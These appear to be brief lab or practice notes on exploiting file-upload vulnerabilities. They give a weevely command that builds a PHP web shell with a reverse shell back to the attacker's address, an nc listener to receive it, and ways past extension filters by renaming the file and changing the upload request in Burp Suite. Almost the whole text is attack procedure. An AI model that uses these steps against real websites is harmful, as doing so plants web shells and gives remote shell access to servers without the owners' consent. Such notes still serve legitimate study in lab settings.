Requirement :

if website allows to upload any type of file like profile picture or something it may be vulnerable

Setting up weevely :

in terminal :

weevely generate (password) (shell69.php) --revshell (your_IP) (your_port)

Executing Exploit :

Upload the file (shell69.php) and try loading the file in your browser by sending it a request listen to the connection :

nc -lvnp <your_port>

Levels of Protection :

Easy : There is no filter so the file gets uploaded

Medium : There is a filter to check the extension so first change the file extension to .jpeg and then use Burp Suite, intercept request and change it back to .php

Hard : The filter used to strong so try to use other weird extensions like here